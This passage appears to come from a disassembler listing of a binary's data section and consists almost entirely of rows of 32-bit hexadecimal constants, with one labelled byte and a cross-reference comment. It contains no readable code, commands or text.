0D58603EAh, 0C94A4304h, 0DCC61EF5h, 0B4A40651h dd 2222E61h, 8C357851h, 0BFC6F83Fh, 656A8F0Fh, 0F126D040h dd 0DE004A3Eh, 5F614AEDh, 44CDB383h, 66230B81h, 0E3D1324Ah dd 3678EE51h, 1FD3F583h, 0DE3CAEA6h, 0E1698A8Fh, 0DC993113h dd 0BFD2782Ah, 5DF787D5h, 787CBC3Eh, 0E267A5F6h, 0C530A0A5h dd 0E782F442h, 303ABED9h, 96A68BE4h, 1A9D47D4h, 0C66EE2A3h dd 0F8E5B8AFh, 353FDC54h, 669F81E2h, 0EE796E03h, 78F20C45h dd 0F8FE1FB9h, 79BDD23Eh, 0D79AA698h, 0B0ED66ABh, 794C4696h dd 8C8E2D9Dh, 23B663CDh, 0E4F24E95h, 8B484C8Ch, 0C6EF32h dd 76B31F0Bh, 38E37DB5h, 96BEDFDDh, 6AC2C890h, 0C611509Bh dd 7A07CB4Dh, 8A97EAF1h, 14502BACh, 38C5797Ch, 4CCA4742h dd 762536B7h, 0B352C2Dh, 0EDC4B7D9h, 2340538h, 7FF30E9Ch dd 0C29A73CEh, 72A013E4h, 2B01521Eh, 0E00EF887h, 5E6BF7AEh dd 3013A704h, 6D6F21Bh, 2DD5542Ah, 88810D24h, 0BD100Ah dd 8A626A84h, 3E93B651h, 29A3B74Ch, 0BD45C04Bh, 0CE5B477Fh dd 0A1CF332Ah, 17A16684h, 9F188DD8h, 0FC65E01Eh, 9A65C1C4h dd 0D989DBD5h, 0CF5AF4EDh, 98902968h, 526BB60Dh, 0B0F41E33h dd 9865DF83h, 635D2CD6h, 86AA6A6Bh, 0B02E851Dh, 0E56B5F69h dd 2ECFB67Bh, 64C3F572h, 0B83EF963h, 8936A2BCh, 0D8BF64ACh dd 0EEFE76C5h, 50FE109Fh, 44CB32EAh, 76AA97B7h, 0F8F89B70h dd 0F769F82Ch, 9D78C9D5h, 0FF806DFEh, 0D20B18EEh, 0AA502E5Bh dd 0D2AB52D4h, 0ED7070h, 63685E76h, 0CECBB541h, 4813DF85h dd 2D9F1CF6h, 0DA074C9Fh, 4F04DD3Ch, 0BD8ED407h, 8446EDACh dd 0A7D145FCh, 813A7DDh, 28639B4Bh, 2B3EC8C5h, 0D78CEA5Fh dd 0FA957979h, 0F738F5ECh, 0B6600771h, 0B436EA52h, 7591DEBh dd 8F3E15F5h, 0C5E4464Ah, 0BAFE5251h, 789D8BBAh, 0B1D88E45h dd 2AA48EC5h, 76DA56CBh, 0F1ACA91Bh, 968FA0B6h, 7B2CB16Dh dd 94B0B086h, 0F2F512C9h, 57325A36h, 0E388208Dh, 1A4768D5h dd 0F61B83F1h, 7B22C570h, 0F4761049h, 0C67BD060h, 0F10E062Eh dd 241C8076h, 10C73DF8h, 114D444Dh, 54AE9E0Ch, 87DB8E15h dd 864645CBh, 4A3D51D2h, 630E0831h, 3A60D1B3h, 37B871ACh dd 0DC706E3Bh, 8587A472h, 7545A421h, 7E341181h, 79252995h dd 82F68898h, 46533065h, 1DF63F2h, 22274B0Ah, 0E4069F47h dd 0A537403h, 1997C4F2h, 10D04391h, 82956563h, 954DE1B5h dd 26EFEA58h, 0F54B575Bh, 8BEED52Dh, 2E1CD82Fh, 79DD7538h dd 0E0FF75F4h, 5F8BFF0Dh, 0A3320207h, 447295D5h, 6B5AEA86h dd 75D661C1h, 96A32BABh, 0A7A911Fh, 1AB78678h, 400BAF32h dd 7688C0D2h, 34E7ECFCh, 7B57A03Dh, 0D23EF77h, 8AB505C1h dd 1053C1D4h, 7C1D3E66h, 0EE2E5B2Eh, 73224636h, 0F0E3CD9Bh dd 0D36876FAh, 3A16027Ch, 0F79F01CDh, 0F12886C3h, 7B8B2E47h dd 2AF7836Fh, 26589426h, 0CC257422h, 7B862E13h, 418874Fh dd 42464DC7h, 83721418h, 0F3EA557Ah, 5D8E5F4Ah, 6A8D95F8h dd 15403D30h, 8DE9F848h, 7AFAAEB7h, 1F30AA5Bh, 0AE28F29h dd 0AC0BB28h, 8ED4F989h, 0CA622211h, 0B89A50A0h, 5A2B7657h dd 2D3877E9h, 57A7B215h, 90C36BDBh, 97A7E463h, 8EC31883h dd 0A8C2B710h, 1646AFCAh, 6ECDB13Ah, 0E2CA100Eh, 683708CDh dd 0BCB2126Ch, 7694EF20h, 811A619Bh, 0DE8736CFh, 0F166C13Eh dd 2CB921C3h, 105C03FAh, 4865A34h, 61DC769Fh, 0A95012F4h dd 95007710h, 18E11510h, 9FDB41D8h, 0E57FF01Eh, 0D5A2282Fh dd 8816F94Fh, 2D159CB1h, 8DA7C57Bh, 0D39E51E1h, 7DE9C49Ah dd 0F678C407h, 0E7B5A12h, 970CD077h, 90A59AB5h, 0C9CF9778h dd 5FC57F3Bh, 4A957B59h, 83C83B37h, 12D125C5h, 786288AEh dd 0BC0F8B8Eh, 405DADEh, 93FC1C93h, 0F7BA8EA9h, 6A36A505h dd 2928187Eh, 0ADD0539Fh, 0D9F3F08h, 104DEF9Dh, 80BE1CCAh dd 1FD331FFh, 0D41DBF17h, 0DE8F90h, 303FF52Dh, 963E8DE0h dd 0D5F28D4Ah, 41FC9D2Ah, 0EB80AEC5h, 0B94D74CCh, 0D70A4D49h dd 0E47649F4h, 0CDC376FFh, 5D41BCh, 59AABC00h, 0C328012Bh dd 12C83FFFh, 0CE092942h, 0B4337834h, 9D7098A8h, 0D0BDC1E5h dd 14F75792h, 7679FD0Dh, 0C595ADAh, 9F295D88h, 0BA98F483h dd 20490DE4h, 0DAB651C2h, 0D6A051DCh, 0E75D966h, 3E38265Dh dd 4B57E618h, 0C30B784Dh, 0ED6E96DDh, 0D3269A2Dh, 4CCC0261h dd 6FA32FECh, 32C4AA16h, 0CD00EA7Ch, 94031EA2h, 918917DCh dd 9D6738D9h, 0E39160DDh, 0F0171B20h, 8A876ACDh, 4334B2A7h dd 68231792h, 0F08C75F2h, 0EF21A798h, 7D103869h, 0DBF0512h dd 0E8AFEFDCh, 86BF45E4h, 314409BEh, 63E97C0Ah, 45E58BB8h dd 34681BFh, 0FF9C7A82h, 2929592Dh, 525CF8A8h, 0DFE16472h dd 91C7A651h, 0F66BD497h, 53AACCE4h, 4CA0814Ah, 25E23E83h dd 8C071BACh, 835DAB46h, 0E3A6D2FEh, 5F7BE195h, 982964FFh dd 0D71F7414h, 9685C2B2h dd 0A149DABDh, 0CE2480D8h, 6021168Eh, 23BAA069h, 0B1B0CB72h dd 864ACDC2h, 72EC5AB4h, 384650D2h, 0B6D54BA9h, 83034FC2h dd 7BFE9DC7h, 82101CA4h, 2F1C5611h, 5C66A2DBh, 84F77F8Dh dd 0C4C21056h, 0BE002F03h, 16660946h, 0B0370B2Ah, 5F061ABDh dd 7FB29CF2h, 28C8F87Ch, 26A37101h, 34CCF9DCh, 1FEAC5CCh dd 0FB5F937Ch, 61401CC5h, 0C6E973BDh, 5C3C5701h, 2C53FB68h dd 670CD46Fh, 625BABC3h, 22F24498h, 7A94EBFDh, 9F40DD55h dd 0AEA302C3h, 97D8D40Ah, 0A72A440Bh, 3BD942C9h, 7F96CC7Ah dd 0C10603F2h, 2133A893h, 70A901DCh, 0D38CC992h, 0A2466BBDh dd 94D9124Ch, 1F8479D9h, 3499C587h, 0AF017396h, 5C5E215Ch dd 0CBEF59A5h, 4E5FCD4Ah, 82523C59h, 5DD3C0ADh, 0FEF3565Eh dd 435F7C2h, 563817FFh, 4A1D1AB7h, 0E5B2B2A6h, 0B4438402h dd 0B8C51881h, 0B89E01D3h, 0BAD064EAh, 4DAEEECCh, 2928E20Ch dd 2061269Ch, 132E2D43h, 0A7659D19h, 8DBD6F7Eh, 0C4E65B7Eh dd 4ED1625Ah, 645EA659h, 3A9680E5h, 1EA8FA0Dh, 2F66AF80h dd 8D6BB655h, 67DD1B5Bh, 43D13ECBh, 399B69F5h, 0EF1EAA4Bh dd 7163865Bh, 7AD5CED4h, 0EAE6108Ah, 2B855385h, 0B146B57Bh dd 7AAE434Fh, 1A04AE67h, 5AC1952h, 6C5011B5h, 0BE2C2142h dd 0CFDE9F0Ch, 0ADC14C82h, 52DF541Fh, 16F071Dh, 35A47F47h dd 3DA3EA47h, 0F9458EFDh, 3BE4311h, 0D3DC62BCh, 0A8CE72BAh dd 769CCB96h, 54E2C37h, 68BE8599h, 10CCC34h, 4DABFD37h dd 2BEBA96h, 71356C7Bh, 0B6E97ECFh, 0FFCAD891h, 39AF417Ch dd 1F9A4159h, 5AE7BCA9h, 9BA80550h, 875B64FAh, 0C080B6E9h dd 8E8B021Eh, 7E7DDCB1h, 2A359CDAh, 6D74BC98h, 391E0256h dd 8CE9BDD0h, 0FB4D52F0h, 2297AC31h, 8245D3E5h, 0C1097707h dd 5E0155A3h, 1C7C75E0h, 0E46C10E0h, 0B575B6F2h, 0F8405540h dd 3C0EB0CDh, 40904109h, 23ECF205h, 98F3480Fh, 40885097h dd 95333F83h, 71FFBC64h, 6DCD7A5Dh, 0FBD224D3h, 85A785Bh dd 78B3A06Dh, 0F0BE54F1h, 0ACB01A06h, 0D68B5ADAh, 4E745CC9h dd 57686420h, 731AF436h, 9D0866C4h, 61FF82A9h, 5723A7EFh dd 57854927h, 11313362h, 5BD15964h, 86218227h, 3D83B0h dd 0C3DF89C6h, 0A431BB18h, 24E774ECh, 599ED7B7h, 0BCE54340h dd 39E1379Bh, 2501299h, 43D1AF44h, 56E33D3Ah, 3F9D82Bh dd 89498222h, 66436C64h, 0D124EE06h, 103BA080h, 829D198Fh dd 9176FC5Eh, 1A6E1042h, 0F84C060Fh, 5AD118E7h, 0E0A53920h dd 5D15F25Ah, 0F83E5E3Ah, 0B74FD774h, 0DCE549Dh, 0F86737E3h dd 3DE5BE4Bh, 0FC896731h, 0AB2C6753h, 0DF36F458h, 0A32DAA4Ch dd 5E02B1DBh, 0F35F441Ah, 854E756Ch, 0F228DE7Eh, 219D8FB5h dd 12541679h, 0FCE268B2h, 495323C8h, 0A6AB11F0h, 7434BE23h dd 1E7AF78Ch, 7A54835Fh, 4ADCE98Ch, 10D40EC4h, 0E5F43963h dd 59626657h, 7B74F630h, 8538B351h, 0F574AD2h, 34757EA1h dd 0BA17C01Ah, 9F3FA1DDh, 584E3106h, 69146357h db 0D5h byte_4F5345 db 47h, 0D4h, 70h ; DATA XREF: .data:00447EB0o dd 0C53D32FCh, 0D20179B8h, 0E653A7B5h, 652A5867h, 36E57610h dd 63661853h, 83DEBC94h, 3AF0F537h, 0CF411E58h, 5860E8AFh dd 64FB5FFBh, 12817184h, 2D7B2A8h, 157EC033h, 0BA714E08h dd 23A17C40h, 4BD7D88Fh, 2239D20Dh, 0FB4102F4h, 155D1BAh dd 747FA0BCh, 0A6B095E7h, 67805A18h, 19DD2006h, 3D800F60h dd 0EBE32B8Eh, 9A6386FCh, 4094F283h, 2B24594Bh, 0B3AD755Dh dd 3910D0A6h, 974FB1D4h, 0C1FEFCF1h, 0BA69FBCBh, 0F9D37CA5h dd 2F296EC9h, 0DEBDB196h, 0E31BA2F8h, 959DF5E4h, 0E3625517h dd 7BA1CAF8h, 0D2ADC188h, 787354B3h, 13175646h, 0F4F286C9h dd 0FA46C534h, 1DA4655Fh, 342DC1EAh, 0C5923C22h, 20DEE029h dd 618CF751h, 6770330h, 0C2F50BE1h, 4A4ADE9Fh, 8E57E279h dd 64964AB7h, 0E5FED786h, 39425C14h, 8445E319h, 0BBBEE301h dd 5FF619FEh, 0C0C1900h, 0E163061Eh, 0AF1B42BEh, 0BED0812Bh dd 4A5E9759h, 46502353h, 0B96F400Fh, 5B71FBC0h, 3DAF13Ah dd 42FC37BEh, 89A58271h, 6F6EC82Ah, 0FDBA8782h, 0EC1857C6h dd 240F3F8Bh, 0C79E211Ch, 97A6DC4h, 4101C6Eh, 594818ABh dd 0CC3338A7h, 166EC97Ch, 1E6C3333h, 0A4D4925Fh, 5ECDFA70h dd 2E58470Eh, 0A36A6755h, 0C40B9140h, 9A31CBB8h, 9BBCCA21h dd 0B3B7BC14h, 0EB6A3708h, 4504069Fh, 41B406D4h, 9B835E3Eh dd 656215B7h, 0CF44CE46h, 0B313D95Eh, 17A17578h, 0C2750D4Ch dd 0B2EC01F6h, 0E2B484BFh, 9C47E0AFh, 12A68B1Fh, 8870D4C1h dd 4B4D3F43h, 1FBE33E8h, 0F0AC27D7h, 93D84972h, 4C0AD827h dd 94AB83BCh, 0A1CFBB6Ah, 0D341EE1Ah, 939A9F6Ah, 0BE028418h dd 0DE07AFD0h, 0A533985Ah, 7BE06AEh, 0FC660530h, 1FAAF2E4h dd 2DFDFADCh, 0C05D1A24h, 9569DB29h, 0B885FA30h, 63755BAFh dd 0E632241Bh, 1686FE34h, 9074CC57h, 0F16106F4h, 760B661h dd 62379A73h, 0E9FED541h, 0AA13B96Dh, 0B6EF436Eh, 1A238554h dd 747FBE0h, 15244A8Fh, 2CA4DDC9h, 0C84455D1h, 519C043Eh dd 4BDC8FA4h, 77574A37h, 24606274h, 39369B41h, 0C6653142h dd 97292E3h, 2D6AE10Dh, 8FE89984h, 0CAED307Ah, 3D014803h dd 0DA7D753Dh, 3FE43642h, 81C2B269h, 0A55F681Bh, 0AF07DDF8h dd 281F4CEh, 0CFF8A093h, 0DFF81428h, 0AD9DA934h, 0DCC4E33Ah dd 0F3DFD847h, 2E798430h, 0EA4DD962h, 0EE82489h, 51A1464Eh dd 7EF24552h, 0F315361h, 363D5ACBh, 8F9A498Ch, 3C57AAC8h dd 6AF03090h, 5A1BE128h, 0C8583ED8h, 5264BEF0h, 7A0D36F1h dd 65351B2Ch, 34BD56E4h, 41238905h, 0FA6B8C51h, 98AEAF98h dd 0B08EB56h, 924040C0h, 0F01A990h, 5E8C6394h, 0ADBABFD8h dd 0ABBDD22Ch, 18B729FFh, 76F20AC2h, 177287E7h, 92C6329Ah dd 1B5CDA0Ah, 2180EA12h, 0EEE4B33Ch, 4B2A5B7Dh, 5A82F897h dd 0F88233ABh, 4559694Eh, 0CA408DE9h, 0A4A60387h, 0AB7CE715h dd 15CED95Dh, 10425B62h, 7FE45146h, 5B7B6C5h, 17A20286h dd 38898579h, 93FDB340h, 9F40BB91h, 3213329Dh, 0E36FAF63h dd 1719CEA3h, 2A0B1FC7h, 85B1CB93h, 9C5729E3h, 32762778h dd 0C6CA3D60h, 3055F211h, 17ECA572h, 4F71004Fh, 0C91A697Dh dd 6360F18h, 580A1D63h, 0CC6029Ah, 0E4DDB512h, 0A47E4CD3h dd 0EB075CE0h, 0A38E2A57h, 0C1D30173h, 5A62EBECh, 0C6417E07h dd 0C8C2823Ch, 0AD969B6Bh, 0BAA8E446h, 48B14BACh, 0B6FAB37h dd 0EFA59DBEh, 2D52D413h, 0C7F410D0h, 2530F304h, 282B1BF1h dd 3F0CD12Ah, 0E8D460D7h, 917AFA78h, 953C7CA2h, 5628D3FBh dd 7C687D47h, 0CC487EF1h, 0CA227C51h, 0A47E45B2h, 352F82E0h dd 93D1BD74h, 7EF52DB8h, 0EB16674Bh, 0FB0E4388h, 73940FFDh dd 0A37557ADh, 2A8C0619h, 59A418AAh, 0DE53D4A9h, 0EEDCD0DEh dd 41424ABh, 8D04B185h, 2E26B073h, 1D8DB258h, 0C20B4594h dd 0C8EDD71Dh, 5F3FC429h, 0CDCBEC92h, 632741Dh, 94DAE66Bh dd 56E1DA58h, 0A2104653h, 8124C6CFh, 99ADFC4Ah, 0EE5BE283h dd 6559E2E4h, 7423BF07h, 2A36E2ADh, 0BF00C179h, 0CB396E3Eh dd 6359183Bh, 9FFBE472h, 7804CE43h, 9E318056h, 26D6327Eh dd 0D80D2CF6h, 8A61ED80h, 0FDC8D6CDh, 5E4B59A3h, 7A11778Ah dd 0AE8744A3h, 251DEA27h, 83CCB000h, 2E6A6EA8h, 0BA98384Bh dd 0C092AF16h, 91600683h, 0EC1B6D9h, 49902DC7h, 92D51832h dd 0A347BAEh, 0ED1D147h, 7E86871Dh, 788C294Fh, 89699709h dd 857A7A7Ah, 93CCBF05h, 0FA34C5AEh, 0B720AB3Bh, 0D0A8598Fh dd 0CE0F1714h, 0A2632411h, 6C33A301h, 27FDDC42h, 4EDBECD2h dd 99B0D762h, 0FF77B194h, 3B04E09Ah, 0FE0CA011h, 48FE8FF0h dd 8AD6D40h, 0A69FC9FEh, 74095A09h, 3DFD35EBh, 482AE4E3h dd 0CA6B1379h, 0D5F1077h, 0C05DBA7Bh, 0FB9DCC95h, 0C7C5BF4Ch dd 0EA3948E6h, 779FC471h, 8B22B003h, 0AF52F9B5h, 0ADD95C1Fh dd 7381361Bh, 65C5FA0h, 5FED981Eh, 0B61681F4h, 2A138958h dd 1F699FDCh, 6C346C44h, 1F954C33h, 0BBA588C1h, 878FD82Fh dd 0DD0387A6h, 483260D6h, 0AF25615h, 3EF69CE7h, 0B7C0C2B2h dd 3CA590CDh, 0EA5A0DEFh, 9190CCC0h, 11D84299h, 0EAB99F7Ch dd 0C017F108h, 0DEEBE7B6h, 9FD0C6D8h, 3B38F77h, 9E36AC08h dd 0D62D5D50h, 0DDE75243h, 0D516BC0Ch, 8653B475h, 6981A497h dd 96861E61h, 9CE278C5h, 1439BC38h, 174C16B4h, 915A204h dd 0F82889D8h, 920B5A5Bh, 8AC28508h, 0FBD078E4h, 885B557Ah dd 0D0C14A34h, 0E8F769DEh, 9FA3EF48h, 19FE4829h, 0B8588EB0h dd 0D4D5D9A8h, 9394D5h, 0B3580789h, 0A77EC8EAh, 43E86CEBh dd 753B1A1Ch, 4012B622h, 197A05E5h, 118494BCh, 8233F598h dd 8077AED7h, 5A6D60ECh, 959D4FEFh, 0CE1C4941h, 0C0CE165Ah dd 370810FCh, 1E0744B8h, 8C6246FBh, 93EEBC6Eh, 56B35685h dd 4807B754h, 0E70F81AFh, 349A0FF8h, 44EC189h, 0F9870EBBh dd 438946A6h, 0F98AC81Ch, 0E1822F22h, 9AF5A6C9h, 254ABCEBh dd 34BF6A4Fh, 249D004Bh, 43056534h, 971595CEh, 91F0C7E2h dd 7D41B6FFh, 17BF6451h, 0D492A444h, 0C493E888h, 18357A4h dd 7462072Bh, 0F0FE540h, 0D3690C48h, 0C634BCCCh, 0CBAA9F94h dd 0F6DB033Fh, 0C074CDEFh, 16582C1Dh, 0D5F84D96h, 1CDF7959h dd 30ABCE55h, 6D0F9389h, 0F4990EEFh, 0C3D54EC4h, 0A1159580h dd 0C7A49E40h, 0E8A45260h, 2863771h, 79D176C7h, 2CB48FB1h dd 1C11C041h, 86DA2944h, 0D7C8F11h, 0B28B89DAh, 2C7F2AC4h dd 0E4CB9B63h, 90D50161h, 314A45F3h, 22DFACD2h, 0F38A0126h dd 0F6DE9916h, 54020FD7h, 5C6165D8h, 0E26EC12Ch, 53BD6C26h dd 49FA0534h, 0B9BB80D2h, 3E77CEAEh, 584C8C51h, 391CD90Fh dd 1D975DCCh, 1209BA55h, 40A664CDh, 8A251BDEh, 14AA174Ch dd 351E0AB5h, 0A3B03A71h, 2AB3C14Eh, 0EE94632Ch, 4A7EA4D7h dd 0A48A4F7Ch, 558FCC83h, 0D40C15A8h, 0E5DAAA5Ch, 0D9380435h dd 0D84B5BE6h, 61ED116Fh, 4C54CBDFh, 0C775A5FAh, 248C0D68h dd 32708908h, 0E58B287h, 4C142BDCh, 2EB1FABh, 7604F380h dd 0F6208B2Eh, 799964E7h, 0AA2A8B83h, 10E5AA15h, 9EDDDEF4h dd 0CFA2CE9Eh, 4D1581C9h, 0F77A509Bh, 0F1730BB4h, 9949533Dh dd 0BF8D424Fh, 893B82EDh, 4AAD34B2h, 555D9B57h, 82B2115Ah dd 0B315375Ah, 8B0CD191h, 2A4EE66Dh, 51D2EB3Ch, 0DA39AAABh dd 0D06EDCF4h, 0A5302FEEh, 987B52BBh, 52713434h, 0CFE4F653h dd 8C6F7663h, 0D90BE9B6h dd 93D784B8h, 2736C912h, 0DE1BEB92h, 984CE339h, 1D6904EAh dd 334E8BF7h, 971B435Fh, 1F4DD7D5h, 66DE43C0h, 439B4AECh dd 4383405Fh, 6189D033h, 0D6BAF54Bh, 174E4C4Eh, 2777A09Fh dd 1BFE7E4h, 5F1A23D9h, 1808FA6Ch, 0AAC66984h, 6EFC7286h dd 0CE0EF6C0h, 0E7066230h, 0E6713AF1h, 0E0201117h, 5E11E218h dd 0C8874670h, 94249B00h, 0C843FBC4h, 0AF58AB2Dh, 920EA72Bh dd 0F584EE8h, 0E54D83B5h, 5B4F5834h, 0F127BA27h, 8FBDAE1Dh dd 0A50F4BAFh, 24E29C9Ch, 0DC4BB9D0h, 594820D8h, 144C6E97h dd 5E399BD5h, 3C6203E6h, 0DD4D8400h, 7300FF19h, 0E5852AFFh dd 1A9C1D7h, 8D4FE2DEh, 0B6A8FDE1h, 49F33669h, 0C04E58A3h dd 4B26AD1Ah, 1D48B7FAh, 74EF363Ch, 5B7FB4C8h, 0CC1D86AAh dd 8440BFCDh, 0E5473847h, 0EBBB0712h, 0B4303901h, 70C42548h dd 2D9D8955h, 65B63FE8h, 11B5B425h, 0D1EB29CFh, 1F94022Bh dd 0E048044h, 0D335C91h, 89C917FBh, 0AADCCB98h, 0EDF3E26Dh dd 0F42585E7h, 0B1EC823Bh, 0DD149C76h, 3EA8B8ADh, 3A35CA42h dd 0FF68A5CEh, 0DB8834A9h, 90E9A007h, 265BD22h, 0BE94610Fh dd 0FED32509h, 0AC7D16CAh, 4351F26h, 0C912287Bh, 0DC994506h dd 1CD0C97h, 0C3864FBFh, 4060EDFAh, 1DE96E15h, 0BD833C4Dh dd 2BD14BBBh, 78B03937h, 670E13D0h, 1803E30Eh, 5CAE7DB8h dd 70D41E4h, 0FD4652D0h, 0EF13A08h, 19753444h, 0A89B09D0h dd 0B4A5353Dh, 0EA567944h, 80C16A74h, 87B81276h, 0BA35E126h dd 0E51F37E2h, 0F608B562h, 0A7864156h, 0EB1C17CBh, 11A5A79Bh dd 6DD4234h, 1EB2FA65h, 0CE5590F0h, 0D28DA047h, 2F2E3C84h dd 90F660CBh, 366489A5h, 0F31D2F8Ah, 7D834F30h, 7A1036E7h dd 969F1E32h, 0C898FCCDh, 0CA0421A8h, 0AA5BE6E0h, 0C23A2FC4h dd 4F53D136h, 75605D65h, 0C16D7B43h, 0A592F0B0h, 0ACD891E5h dd 57CF5ABDh, 1E916C7Eh, 0E92DF30h, 0DD10EE01h, 4CA1FAA8h dd 0F0AAB72Ah, 4AF95F25h, 92F48046h, 0EC0C078Ah, 58D099D8h dd 0B52E5696h, 0C2D71B9Bh, 0BDCDF298h, 0D6DF7E9Ah, 0E9DF8382h dd 0D472833Ch, 2BA8F144h, 0F90584E3h, 271DE67h, 9D3E6287h dd 0AD14A96Ah, 0A02E6ECAh, 57E2447Eh, 0A41C4E79h, 0B95FBB86h dd 6B2C5ABBh, 0EB33468Bh, 887C2623h, 35124B39h, 183DC8F0h dd 3AD00F43h, 64E74FD6h, 0AF2F5537h, 2A458432h, 430E3386h dd 2C5CBE9Ch, 0B661CE4Dh, 0DE8D13D0h, 7D0E3FD5h, 90F4EA9Bh dd 0A19A5D05h, 0F7CDF8F3h, 7466E92Dh, 302E3ABCh, 4B60B815h dd 0F0CD5402h, 636FEE76h, 0E8754AF1h, 7F50593Ch, 0F6DB146Ch dd 965B0E3Bh, 0EED2E45h, 0D4423D33h, 471F7673h, 0BEEF07E1h dd 12D446A8h, 0ABA9D814h, 19A866C3h, 2383118h, 0A3B1B05Eh dd 4FDABA9Ch, 7E568A45h, 0E14D94Ah, 0DFD530FEh, 0C13FFB1Bh dd 327B71B4h, 0FD0D2276h, 311E3839h, 0E98E9F4Ch, 0B91D6559h dd 0D3FB68B6h, 5F365B7Eh, 4D437CCEh, 1A5598D2h, 0FF6C7D99h dd 4DBB04DFh, 92CE524h, 94A8964Ah, 53509052h, 937A9422h dd 476289B9h, 0B4CC4551h, 0B97BBBE2h, 90CA4B50h, 981305CEh dd 95605882h, 295C5573h, 0CE79B1A3h, 93E554D2h, 0DF03F78Dh dd 9CF17CABh, 0A827AB8Bh, 97F5CC21h, 0EEB5606h, 7E2C598Fh dd 381EE73h, 2C21F6E0h, 8C84423Bh, 0AC3F049Bh, 0BA825C0Ah dd 2A9C8436h, 0F8F200Fh, 0BE18CCCCh, 3AF62C8Bh, 0B7B183B1h dd 0E9765450h, 34428B54h, 0FF4A6736h, 0C99066B8h, 0F18AAB2Fh dd 9A2B5C3Bh, 0B82D7561h, 0DCC362FDh, 4D38689Ch, 6694C6CFh dd 0FE06F1C2h, 0E0989B94h, 6D105872h, 0FCB055FFh, 0BC108370h dd 0A0C0FD4Fh, 0A27B805h, 8237FE9Ah, 0E90DD98Ah, 19DBCF38h dd 3C31C311h, 7EC0A8D9h, 0BFFDA3C0h, 68BABF7Bh, 567278Fh dd 3D91826Dh, 3D30D074h, 236F010Eh, 1D4E8796h, 0D627232Ch dd 0C7B5EB64h, 84AF6E45h, 0CF41D43Dh, 68C6FA4Eh, 40B3417Bh dd 0F082F59Eh, 53216FC4h, 34F684C4h, 9197CD1Dh, 91F3E55Dh dd 0BC18864Dh, 6FA33E25h, 0C30CED55h, 38718FC5h, 684C2A0Fh dd 9B15BECh, 920552E5h, 4A222018h, 0B5952451h, 66450147h dd 942C5EF6h, 13F6E806h, 66A82D95h, 2F4B6BD4h, 393F0D9Fh dd 2879924Ch, 6A22C314h, 1BC920C5h, 3DE4F07h, 174A205Bh dd 6DCC91A9h, 0F7C1F86h, 96A44877h, 49D70DF8h, 8EA6801Bh dd 0C811C4C0h, 0D72DB970h, 0E255B87Bh, 0BDB90592h, 8E4A781Ah dd 3A77FC6h, 0E4182E0Bh, 0ADBE4774h, 970E5D20h, 0A3A259AAh dd 0ADD36ECh, 4D94CE42h, 4E4FB489h, 0C723EB08h, 6FAA58DAh dd 883A65B5h, 9F374576h, 0DBBB164h, 3FEC2EE7h, 7A4A0DF0h dd 0A7DE77E8h, 821120C1h, 89816EC5h, 3F5F8757h, 538803F2h dd 259C92A8h, 0F9C4AF3Dh, 0FD4DECF0h, 2606B90Bh, 0F018E5F3h dd 363D11B5h, 6CF72FC8h, 1E55F308h, 0CA7C86CCh, 55DE8ADEh dd 0D70A1060h, 0DF32F8B4h, 7F8B1870h, 0CC9CE98h, 9DE161C7h dd 752FD44Ah, 0D9F3D8Fh, 0CC92742Eh, 0B429422Ah, 0DD81C7DDh dd 5D9FA6D6h, 0AB9E1FCFh, 0DCFAE375h, 0BF6C1F9Bh, 0F0788824h dd 50E710DAh, 0C02FC1FDh, 6BC05D55h, 7DC6C22Fh, 7C7FCE28h dd 0DB3FE7DDh, 0B495DDE6h, 0F90EAA2Dh, 7ED54FACh, 0CBB0F5C1h dd 68280339h, 0C934B305h, 2643C290h, 28A18A3Eh, 0C35754ACh dd 81CAFB36h, 0B01B6442h, 0EC9D56B0h, 9C9D92Bh, 3D6268B0h dd 33A45506h, 4D0D0E7Ch, 9271AE0h, 0EEEDD31Dh, 69F23BF6h dd 0BADB959h, 19F71E0h, 9534Dh, 92AE1134h, 0E922D505h dd 2F943745h, 42083A61h, 62AE340Ah, 56D1FF21h, 0E83FFF38h dd 0C55063DCh, 746BFD8Dh, 0DA67A19Dh, 616FD62Ch, 22EDDC61h dd 68C7E379h, 5021F68Dh, 24BC64A6h, 52657182h, 6B9A1F8Bh dd 6BC4407Ah, 8A6ADBE4h, 0A1B5538Ch, 0DA94A616h, 3F683668h dd 0BDA36CEh, 0B8031A47h, 5506724Ch, 0BC1047BDh, 6EDF8EE5h dd 9980CD09h, 50E70E10h, 3A91EE01h, 0B05FE059h, 0EFF9404Bh dd 0A41EA2A8h, 22F437D0h, 0D9639EDAh, 89B7BD05h, 17FF336Ch dd 944D6E49h, 939FE65Fh, 92AB9F0Bh, 0DD4155D5h, 562E2173h dd 58D240EDh, 5AB99F32h, 0AF8824EEh, 6E6F7676h, 7391B27Eh dd 0AB616958h, 52982845h, 0DEB73AD8h, 5D7384DEh, 41927C74h dd 76890607h, 410697C0h, 47B32328h, 207891FBh, 9C383B81h dd 417B7A9Ch, 0DB6B8A6Bh, 6A6D68D6h, 0EC49B11Eh, 391F219Dh dd 0B86F2E86h, 6ED7B99Eh, 7803A7B5h, 84CCB572h, 0B5107233h dd 81E4593Ch, 0D4A3FDD2h, 722E046Ah, 5CD85262h, 932384A3h dd 448B71C7h, 0A622F357h, 95C4E96Fh, 487A165Ch, 0F934990Ch dd 0C657B702h, 69F99AE3h, 0BD6A682h, 4EFD81BEh, 244FD9EEh dd 9CC4CE10h, 20B23019h, 58865DFCh, 161B40F0h, 7EDE4366h dd 309843A3h, 87325DADh, 3F9FE29h, 0D6ABB1F0h, 2419110Bh dd 99E6456Ch, 7E044B9h, 0E74DEB1Bh, 0F9DB555Bh, 4FAC85ABh dd 31B25F12h, 6CD7B42Bh, 227C0D0Ah, 0A324532Ch, 60E57927h dd 40179CB7h, 45550E11h, 0F6CB875Bh, 33232A1Bh, 0AC562CA2h dd 14B7F5D2h, 0AC57A512h, 1DDE195Bh, 0AEF94532h, 5C59D1DDh dd 3B5BA560h, 979488B1h, 7D651F84h, 85055183h, 0F1E94846h dd 0BA9FA401h, 5A329D1Ch, 7897F8h, 0EE3E5C8Bh, 8181DF3h dd 46E8EB0Ch, 0EEE1202Eh, 0B59AE700h, 0F72B1A82h, 3D99781Ah dd 0F5C8EC90h, 1D0FC498h, 9A66B0C4h, 277AF07h, 0AFFFE85Dh dd 0FDA2E9A9h, 0BE6602BDh dd 0E093928Ah, 0FDA32394h, 2E6C908h, 0E7F5DF29h, 0A7EA9C54h dd 0B1D61B36h, 1CD3A17Dh, 1AE88979h, 0EB3A9EC1h, 33D99209h dd 0E0969002h, 0C44C2450h, 93AE3874h, 5CA6175Ah, 0DA0634B8h dd 2CDE5071h, 